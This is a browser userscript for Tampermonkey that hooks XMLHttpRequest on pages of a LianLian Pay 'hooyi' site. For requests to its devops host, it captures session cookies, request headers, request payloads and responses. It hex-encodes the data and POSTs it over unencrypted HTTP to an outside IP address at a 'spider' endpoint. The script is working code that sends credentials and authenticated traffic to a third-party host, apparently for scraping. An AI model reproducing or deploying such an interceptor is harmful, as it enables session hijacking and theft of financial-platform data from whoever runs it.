Proxy


// ==UserScript==
// @name         Proxy
// @namespace    http://tampermonkey.net/
// @version      0.1
// @description  拦截页面请求
// @author       You
// @match        https://hooyi.lianlianpay.com/*
// @icon         data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==
// @run-at      document-start
// @grant       unsafeWindow
// @grant       GM_xmlhttpRequest
// ==/UserScript==
(function() {
    'use strict';
    var send = XMLHttpRequest.prototype.send;
    var open = XMLHttpRequest.prototype.open;
    var setRequestHeader = XMLHttpRequest.prototype.setRequestHeader;
    XMLHttpRequest.prototype.open = function(...args){
      open.apply(this, args);
      var proxy = getOrCreateObject(this, "proxy");
      proxy.openTime = new Date().getTime();
      proxy.request = this;
      proxy.cookie = document.cookie;
      var path = args[1].replaceAll(/https?:\/\/[^/]+/g,"");
      var host = args[1].replaceAll(/https?:\/\//g,"").replaceAll(/\/+.*/g,"");
      Object.assign(proxy,{method: args[0],url: args[1],path: path,host: host,async: args[2]})
    };
    XMLHttpRequest.prototype.setRequestHeader = function(...args){
      setRequestHeader.apply(this, args);
      var header = getOrCreateObject(this,"proxy.requestHeader");
      header[args[0]] = args[1];
    };
    XMLHttpRequest.prototype.send = function(...args){
      var proxy = getOrCreateObject(this,"proxy");
      proxy.sendTime = new Date().getTime();
      proxy.payload = args[0];
      send.apply(this, args);
      setTimeout(() => processSend(this), 50 );
    };
    function processSend(request){
      if(request.readyState != XMLHttpRequest.DONE){
          setTimeout(() => processSend(request), 50 );
          return;
      }
      var proxy = getOrCreateObject(request,"proxy");
      proxy.responseTime = new Date().getTime();
      proxy.tokenTime = proxy.responseTime - proxy.sendTime;
      proxy.responseHeader = request.getAllResponseHeaders();
      proxy.responseText = request.responseText;

	  processHooyi(proxy);
    }
/**
    var fetch = unsafeWindow.fetch;
    unsafeWindow.fetch = function(...args){
        console.log("fetch => ",args);
        var promise = fetch.apply(unsafeWindow, args);
        console.log("promise => ",promise);
        return promise;
    };
**/
    function processHooyi(proxy){
        if(!proxy.host.startsWith("hooyi-devops.lianlianpay.com")) return;
        console.log("proxy => ",proxy);
        saveProxy(proxy);
    }
	function saveProxy(proxy){
	  var data = {};
	  data.requestHeader = proxy.method + " " + proxy.path + " HTTP/1.1";
	  data.requestHeader += "\nHost: " + proxy.host;
	  data.requestHeader += "\nCookie: " + proxy.cookie;
	  data.requestHeader += "\nUser-Agent: " + navigator.userAgent;
	  data.requestHeader += Object.keys(proxy.requestHeader).map(k => "\n"+k+": "+proxy.requestHeader[k]).join("");
	  data.payload = proxy.payload;
	  data.responseHeader = proxy.responseHeader.replaceAll("\r\n","\n");
	  data.response = proxy.responseText;
	  Object.keys(data).forEach(k => data[k] = encodeHexString(data[k]));
	  console.log("data => ",data);
      GM_xmlhttpRequest({
        url:"http://101.35.240.147:8081/spider/header/push",
        method :"POST",
		data: JSON.stringify(data),
		headers:  {
			"Content-Type": "application/json;charset=UTF-8"
		},
        onload:function(xhr){
            console.log(xhr.responseText);
        }
      });
	}
    function getOrCreateObject(obj, name){
       var names = name.split(".");
       var curr = obj;
       for(var i = 0 ; i < names.length;i++){
         if(!(names[i] in curr)) curr[names[i]] = {};
         curr = curr[names[i]];
       }
       return curr;
    }
    function encodeHexString(text) {
        if(!text) return text;
        var code = encodeURIComponent(text);
        var res = [];
        for (var i = 0; i < code.length; ) {
            var c = code.charAt(i);
            if ( c == '%'){
                res.push(code.charAt(i + 1));
                res.push(code.charAt(i + 2));
                i+=3;
            } else {
                var x = code.charCodeAt(i).toString(16);
                if(x.length == 1) x = "0" + x;
                res.push(x);
                i+=1;
            }
        }
        return res.join("");
    }
})();